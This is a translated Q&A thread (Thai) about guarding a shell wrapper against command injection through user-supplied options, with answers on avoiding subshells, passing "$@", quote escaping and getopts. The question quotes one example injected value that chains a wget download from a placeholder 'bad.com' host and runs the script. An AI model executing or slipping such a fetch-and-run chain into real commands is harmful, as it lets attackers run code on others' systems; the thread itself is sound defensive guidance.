วิธีการป้องกันการฉีดคำสั่งผ่านตัวเลือกคำสั่ง?


13

ฉันมีแอปพลิเคชัน wrapper ที่ฉันต้องการให้ผู้ใช้ระบุตัวเลือกที่กำหนดเองเพื่อส่งผ่านไปยังโปรแกรมจำลอง อย่างไรก็ตามฉันต้องการให้แน่ใจว่าผู้ใช้ไม่ได้ฉีดคำสั่งอื่น ๆ ผ่านตัวเลือกผู้ใช้ วิธีที่ดีที่สุดในการทำสิ่งนี้ให้สำเร็จคืออะไร?

ตัวอย่างเช่น.

  • ผู้ใช้ให้: -a -b
  • แอปพลิเคชันดำเนินการ: mysim --preset_opt -a -b

อย่างไรก็ตามฉันไม่ต้องการให้สิ่งนี้เกิดขึ้น:

  • ผู้ใช้ให้: && wget http:\\bad.com\bad_code.sh && .\bad_code.sh
  • แอปพลิเคชันดำเนินการ: mysim --preset_opt && wget http:\\bad.com\bad_code.sh && .\bad_code.sh

ขณะนี้ฉันคิดว่าฉันสามารถล้อมรอบตัวเลือกผู้ใช้ทุกคนด้วยเครื่องหมายอัญประกาศเดี่ยว'และตัดเครื่องหมายอัญประกาศใด ๆ ที่ผู้ใช้ให้ดังนั้นคำสั่งในตัวอย่างสุดท้ายจะกลายเป็นอันตราย:

mysim -preset_opt '&&' 'wget' 'http:\\bad.com\bad_code.sh' '&&' '.\bad_code.sh'

หมายเหตุ: mysimคำสั่งดำเนินการโดยเป็นส่วนหนึ่งของเชลล์สคริปต์ในคอนเทนเนอร์ docker / lxc ฉันใช้ Ubuntu


คุณกำลังใช้evalงานแอพพลิเคชั่นอยู่หรือไม่? ถ้าไม่เช่นนั้นการฉีดจะไม่เกิดขึ้น:x="&& echo Doomed" ; echo $x
choroba

1
evalไม่ฉันไม่ได้ใช้ ฉันเรียกไฟล์ปฏิบัติการmysimภายในเชลล์สคริปต์ ฉันเห็นการฉีดเกิดขึ้นถ้าฉันเพียงแค่คัดลอกสตริงของตัวเลือกที่ผู้ใช้ให้และวางไว้ที่ส่วนท้ายของmysimคำสั่ง
Victor Lyuboslavsky

แอปพลิเคชั่น wrapper คัดลอกและวางสตริงของตัวเลือกหรือไม่
choroba

-a -bใช่ตัวเลือกที่ผู้เข้ามาเป็นสายเดียวเช่น ดังนั้นฉันต้องการตรวจสอบให้แน่ใจว่าคำสั่งเพิ่มเติมไม่ได้ถูกแทรกเข้าไปในสตริงนั้น
Victor Lyuboslavsky

1
รายการที่อนุญาต การอนุญาตให้ตัวละคร[a-zA-Z0-9 _-]ดูเหมือนตัวเลือกการป้องกันที่ค่อนข้างสวย
Ulrich Schwarz

คำตอบ:


6

หากคุณสามารถควบคุมโปรแกรม wrapper ได้ตรวจสอบให้แน่ใจว่าไม่ได้เรียกใช้ subshell ลึกลงไปคำสั่งในการเรียกใช้โปรแกรมประกอบด้วยพา ธ แบบเต็ม (สัมบูรณ์หรือสัมพัทธ์กับไดเร็กทอรีปัจจุบัน) ไปยังไฟล์ที่เรียกทำงานได้และรายการสตริงเพื่อส่งผ่านเป็นอาร์กิวเมนต์ การค้นหา PATH การแยกอาร์กิวเมนต์ช่องว่างการอ้างอิงและโอเปอเรเตอร์ทั้งหมดจัดทำโดยเชลล์ ไม่มีเปลือกไม่มีความเจ็บปวด

ตัวอย่างเช่นกับเสื้อคลุม Perl ใช้แบบฟอร์มรายชื่อหรือexec systemในหลายภาษาให้เรียกใช้หนึ่งexecหรือexecXXXฟังก์ชั่น (หรือunix.execสิ่งที่เรียกว่า) มากกว่าsystemหรือos.spawnด้วยshell=Falseหรืออะไรก็ตามที่ใช้

หาก wrapper เป็นเชลล์สคริปต์ใช้"$@"เพื่อส่งผ่านอาร์กิวเมนต์เช่น

#!/bin/sh
mysim -preset-opt "$@"

หากคุณไม่มีทางเลือกและโปรแกรม wrapper จะเรียกใช้เชลล์คุณจะต้องอ้างอาร์กิวเมนต์ก่อนส่งผ่านไปยังเชลล์ วิธีง่าย ๆ ในการอ้างอาร์กิวเมนต์คือทำสิ่งต่อไปนี้:

  1. ในแต่ละข้อโต้แย้งแทนการเกิดขึ้นของแต่ละคน'(คำพูดเดียว) '\''โดยสตริงอักขระสี่ตัว (เช่นdon'tจะกลายเป็นdon'\''t)
  2. เพิ่ม'ที่จุดเริ่มต้นของแต่ละอาร์กิวเมนต์และที่ส่วนท้ายของแต่ละอาร์กิวเมนต์ (เช่นจากdon't, don'\''tกลายเป็น'don'\''t')
  3. ต่อผลลัพธ์กับช่องว่างระหว่าง

ถ้าคุณต้องการทำสิ่งนี้ใน shell wrapper นี่เป็นวิธี

arguments='-preset-opt'
for x; do
  arguments="$arguments '"
  while case $x in
    *\'*) arguments="$arguments${x%%\'*}'\\''"; x=${x#*\'};;
    *) false;; esac
  do :; done
  arguments="$arguments$x'"
done

(น่าเสียดายที่การ${VAR//PATTERN/REPLACEMENT}สร้างของ bash ซึ่งน่าจะมีประโยชน์ได้ที่นี่ต้องมีการอ้างถึงแปลก ๆ และฉันไม่คิดว่าคุณจะได้รับ'\''เป็นข้อความแทนที่)


1

คุณสามารถใช้ทุบตีของ${VAR//PATTERN/REPLACEMENT}สำนวนที่จะเปลี่ยนคำพูดเดียว'เข้ามา'\''เป็นครั้งแรกโดยการวาง'\''ลงในตัวแปร (ตามขั้นตอนกลาง) และจากนั้นขยายตัวแปรนี้เป็นREPLACEMENTองค์ประกอบในการกล่าวถึงทุบตีสำนวน

# example 
{
str="don't"
escsquote="'\''"
str="'${str//\'/${escsquote}}'"
printf '%s\n' "$str"   #  'don'\''t'
}

0

คุณสามารถใช้getoptsในการbashที่สามารถแยกอาร์กิวเมนต์สำหรับคุณเช่น:

while getopts a:b: opts; do
  case ${opts} in
    a)
      A=${OPTARG}
      ;;
    b)
      B=${OPTARG}
      ;;
  esac
done
โดยการใช้ไซต์ของเรา หมายความว่าคุณได้อ่านและทำความเข้าใจนโยบายคุกกี้และนโยบายความเป็นส่วนตัวของเราแล้ว
Licensed under cc by-sa 3.0 with attribution required.